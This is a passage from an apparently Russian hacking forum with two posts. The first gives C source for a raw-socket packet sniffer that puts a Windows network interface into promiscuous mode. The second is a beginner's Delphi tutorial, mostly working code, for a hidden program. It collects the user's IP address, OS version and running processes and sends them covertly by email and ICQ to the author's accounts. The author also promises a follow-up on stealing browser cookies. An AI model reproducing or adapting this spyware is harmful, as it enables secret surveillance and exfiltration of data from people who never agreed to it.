Console.WriteLine("Done!");
        
Console.ReadLine();
    }



skippp 26.07.2009 09:43

Пример простейшего сниффера для W2K/XP.
 
Пример простейшего сниффера для W2K/XP.

Ниже приведён полный код программы. Данный код не претендует на звание крутого снифера, однако при желании его можно доработать, чтобы можно было просматривать содержимое пакетов. Так же на его основе можно легко сделать простой анализатор трафика. А главное - не надо делать всяких драйверов; всё просто и понятно.

Суть этого сниффера заключается в том, что используются сокеты второй версии и созданный сокет переводится в режим promiscuous (прослушивания).
http://i060.radikal.ru/0907/c2/f8d2334d1ab2.gif
Цитата:

nclude <conio.h>
#include <stdio.h>
#include <winsock2.h>

#define MAX_PACKET_SIZE 0x10000
#define SIO_RCVALL 0x98000001
// Буфер для приёма данных
char Buffer[MAX_PACKET_SIZE]; // 64 Kb

//Структура заголовка IP-пакета

typedef struct IPHeader {
UCHAR iph_verlen; // версия и длина заголовка
UCHAR iph_tos; // тип сервиса
USHORT iph_length; // длина всего пакета
USHORT iph_id; // Идентификация
USHORT iph_offset; // флаги и смещения
UCHAR iph_ttl; // время жизни пакета
UCHAR iph_protocol; // протокол
USHORT iph_xsum; // контрольная сумма
ULONG iph_src; // IP-адрес отправителя
ULONG iph_dest; // IP-адрес назначения
} IPHeader;

char src[10];
char dest[10];
char ds[15];
unsigned short lowbyte;
unsigned short hibyte;

void main()
{
WSADATA wsadata; // Инициализация WinSock.
SOCKET s; // Cлущающий сокет.
char name[128]; // Имя хоста (компьютера).
HOSTENT* phe; // Информация о хосте.
SOCKADDR_IN sa; // Адрес хоста
IN_ADDR sa1; //
unsigned long flag = 1; // Флаг PROMISC Вкл/выкл.

// инициализация
WSAStartup(MAKEWORD(2,2), &wsadata);
s = socket( AF_INET, SOCK_RAW, IPPROTO_IP );
gethostname(name, sizeof(name));
phe = gethostbyname( name );
ZeroMemory( &sa, sizeof(sa) );
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = ((struct in_addr *)phe->h_addr_list[0])->s_addr;
bind(s, (SOCKADDR *)&sa, sizeof(SOCKADDR));

// Включение promiscuous mode.
ioctlsocket(s, SIO_RCVALL, &flag);

// Бесконечный цикл приёма IP-пакетов.
while( !_kbhit() )
{
int count;
count = recv( s, Buffer, sizeof(Buffer), 0 );
// обработка IP-пакета
if( count >= sizeof(IPHeader) )
{
IPHeader* hdr = (IPHeader *)Buffer;
//Начинаем разбор пакета...

strcpy(src,"Пакет: ");
CharToOem(src,dest);
printf(dest);
// Преобразуем в понятный вид адрес отправителя.
printf("From ");
sa1.s_addr = hdr->iph_src;
printf(inet_ntoa(sa1));

// Преобразуем в понятный вид адрес получателя.
printf(" To ");
sa1.s_addr = hdr->iph_dest;
printf(inet_ntoa(sa1));

// Вычисляем протокол. Полный список этих констант
// содержится в файле winsock2.h
printf(" Prot: ");
if(hdr->iph_protocol == IPPROTO_TCP) printf("TCP ");
if(hdr->iph_protocol == IPPROTO_UDP) printf("UDP ");

// Вычисляем размер. Так как в сети принят прямой порядок
// байтов, а не обратный, то прийдётся поменять байты местами.
printf("Size: ");
lowbyte = hdr->iph_length>>8;
hibyte = hdr->iph_length<<8;
hibyte = hibyte + lowbyte;
printf("%s",itoa(hibyte,"",10));

// Вычисляем время жизни пакета.
printf(" TTL:%s",itoa(hdr->iph_ttl,"",10));
printf("\n");

}
}

closesocket( s );
WSACleanup();
}
Для успешной компиляции, необходимо подключить к проекту файл ws2_32.lib. надо изменить строки: printf("%s",itoa(hibyte,"",10)); printf(" TTL:%s",itoa(hdr->iph_ttl,"",10));

=Zeus= 09.11.2009 05:23

[Delphi] IP+cведения о системе на e-mail и ICQ
 
IP+cведения о системе на e-mail и ICQ

В данной министатье я решил показать небольшой пример того, как можно получить IP пользователя и сведения о его системе, а потом отправить их себе на e-mail. Но нам этого мало. Пускай программа отправляет нам информацию еще и по ICQ. Сразу скажу, что данный материал рассчитан большим образом на новичков. Надеюсь кому-то мой труд пригодится.


Итак, для этого нам понадобятся:
  • "Delphi 7" или "Delphi 2009", так как модуль ICQ работает только на них. Впрочем взять другую версию модуля не проблема.
  • Собственно, сам модуль ICQClient v1.35. Взять его можно здесь: ICQClient v1.35
Качаем, устанавливаем. Как установить компонент для Делфи читаем тут.

Рассмотрим, что должна будет делать наша программа:
1. Получить IP, сведения о системе и системных процессах.
2. Проверить подключение к интернету, и если мы в онлайне то
3. Отправить данные нам на ICQ.
4. Отправить письмо на наш e-mail.

Итак, приступим.

В uses подключим три модуля. Это Winsock (для процедуры получения IP), WinINET (для проверки соединения с интернетом) и Tlhelp32 (для получения списка процессов).
С вкладки "ICQClient" разместим на форме компонент ICQClient. Думаю вы догадались для чего он.
С вкладки "Indy Misc" - IdMessage. С вкладки "Indy Clients" - IdSMTP. Эти компоненты нужны для отправки письма на ваш e-mail.
Ну и напоследок положим 2 таймера, один из них будет каждый определенный промежуток времени проверять, есть ли соединение к интернету, и если есть то отправит нам нужные данные.
Далее опишем несколько нужных нам функций.

В обработчике OnCreate главной формы вставим следующий код, скрывающий нашу форму от посторонних глаз:
Код:

Application.ShowMainForm := false;
Функция для получения IP в строковом формате. В интернете их много, можете взять ту, которая вам нравится больше ))
Код:

function TForm1.IPstr(HostName:String) : String;
LABEL Abort;
TYPE
  TAPInAddr = ARRAY[0..100] OF PInAddr;
  PAPInAddr =^TAPInAddr;
VAR
  WSAData    : TWSAData;
  HostEntPtr : PHostEnt;
  pptr      : PAPInAddr;
  I          : Integer;
BEGIN
  Result:='';
  WSAStartUp($101,WSAData);
  TRY
    HostEntPtr:=GetHostByName(PChar(HostName));
    IF HostEntPtr=NIL THEN
      GOTO Abort;
    pptr:=PAPInAddr(HostEntPtr^.h_addr_list);
    I:=0;
    WHILE pptr^[I]<>NIL DO
    BEGIN
      RESULT:=RESULT+#13#10+inet_ntoa(pptr^[I]^);
      Inc(I);
    END;
    Abort:
  EXCEPT
  END;
  WSACleanUp();
END;

Функция для получения версии операционной системы Windows.
Код:

function TForm1.GetOS: string;
const
  cOsUnknown  = 'unknown';
  cOsWin95    = 'Win95';
  cOsWin98    = 'Win98';
  cOsWin98SE  = 'W98SE';
  cOsWinME    = 'WinME';
  cOsWinNT    = 'WinNT';
  cOsWin2000  = 'Win2000';
  cOsXP      = 'WinXP';
var
  osVerInfo: TOSVersionInfo;
  majorVer, minorVer: Integer;
begin
  Result := cOsUnknown;
  { set operating system type flag }
  osVerInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
  if GetVersionEx(osVerInfo) then
  begin
    majorVer := osVerInfo.dwMajorVersion;
    minorVer := osVerInfo.dwMinorVersion;
    case osVerInfo.dwPlatformId of
      VER_PLATFORM_WIN32_NT: { Windows NT/2000 }
        begin
          if majorVer <= 4 then
            Result := cOsWinNT
          else if (majorVer = 5) and (minorVer = 0) then
            Result := cOsWin2000
          else if (majorVer = 5) and (minorVer = 1) then
            Result := cOsXP
          else
            Result := cOsUnknown;
        end;
      VER_PLATFORM_WIN32_WINDOWS:  { Windows 9x/ME }
        begin
          if (majorVer = 4) and (minorVer = 0) then
            Result := cOsWin95
          else if (majorVer = 4) and (minorVer = 10) then
          begin
            if osVerInfo.szCSDVersion[1] = 'A' then
              Result := cOsWin98SE
            else
              Result := cOsWin98;
          end
          else if (majorVer = 4) and (minorVer = 90) then
            Result := cOsWinME
          else
            Result := cOsUnknown;
        end;
      else
        Result := cOsUnknown;
    end;
  end
  else
    Result := cOsUnknown;
end;

Функция получения списка процессов пользователя:
Код:

function TForm1.ProcessInfo: string;
var  hsnap: Thandle;
    procentry: TProcessEntry32;
begin
result:='';
hsnap:=CreateToolHelp32Snapshot(TH32CS_SNAPPROCESS, 0);
procentry.dwSize:=sizeof(procentry);
Process32First(hsnap, procentry);
 repeat
 result:=result+procentry.szexefile+#13#10;
 until
 Process32Next(hsnap, procentry)<>true;
CloseHandle(hsnap);
end;

Вот и все, нужную нам информацию мы собрали, теперь опишем функцию отправки письма на почту. В данном примере будем использовать mail.ru.
Код:

procedure TForm1.SendMail;
begin
  IdSMTP1.Host := 'smtp.mail.ru';
  IdSMTP1.Port := 25;
  IdSMTP1.Username := 'pypkin'; // логин отправителя
  IdSMTP1.Password := '123456'; // пароль отправителя
  IdSMTP1.AuthenticationType:=atLogin;
  with IdMessage1 do
    begin
      Body.Add('IP = ' + IPstr('') + #13#10 + 'OS = ' + GetOS + #13#10 + ProcessInfo);
      From.Text := 'pypkin@mail.ru'; // полный е-майл отправителя
      Recipients.EMailAddresses := 'resyltat@mail.ru'; //полный е-майл получателя
      Subject :='тема письма';
      end;
  IdSMTP1.Connect;
  try
  IdSMTP1.Send(IdMessage1);
  finally
  IdSMTP1.Disconnect;
  end;
end;

Надеюсь ничего сложного? Все функции описаны, приступим непосредственно к отправке. Выставим интервал таймера Timer1 в 5000. А в событии OnTimer напишем:
Код:

procedure TForm1.Timer1Timer(Sender: TObject);
begin
if InternetGetConnectedState(NIL,0)=true then
  try
  Timer1.Enabled:=false;
  ICQClient1.UIN := 123456789;
  ICQClient1.Password := 'пароль отправителя';
  ICQClient1.Login(0, false);
  Timer2.Enabled:=true;
    try
    SendMail;
    sleep(1000);
    except
    end;
 except
 Timer1.Enabled:=true;
 end;
end;

Заведем глобальную переменную logged типа boolean.
Она будет нужна нам чтоб знать, когда наш пользователь ICQ подключится к серверу.
Код:

logged: boolean = false;
Теперь в событии OnLogin компонента ICQClient вставим код:
Код:

procedure TForm1.ICQClient1Login(Sender: TObject);
begin
logged:=true;
end;

В Timer2 выставим интервал в 100, Enabled в False, а в событии OnTimer пишем следующее:
Код:

procedure TForm1.Timer2Timer(Sender: TObject);
begin
if logged = true then
 try
 Timer2.Enabled:=false;
 ICQClient1.SendMessage(987654321, 'IP = ' + IPstr('') + #13#10 + 'OS = ' + GetOS);
 sleep(500);
 except
 end;
end;

Готово! Можно смело компилировать, и ждать письма, которое должно прийти через 5 секунд после запуска программы. При многократном запуске могут возникнуть проблемы с отправкой на ICQ, это связано с тем, что если с одного компьютера слишком часто идет запрос на логинизацию, он блокируется для сервиса на 10-20 мин. Естественно, для того, чтоб все было скрытно, нужно писать на API. Но на первый раз и так сойдет. В следующей статье я расскажу как вытягивать куки из-под 3-х известных броузеров.
Надеюсь вы не пожалели, что потратили время на чтение данного материала. Удачи! :)

Исходники:
http://slil.ru/28178545
http://depositfiles.com/files/a07uyv66x


Время: 20:29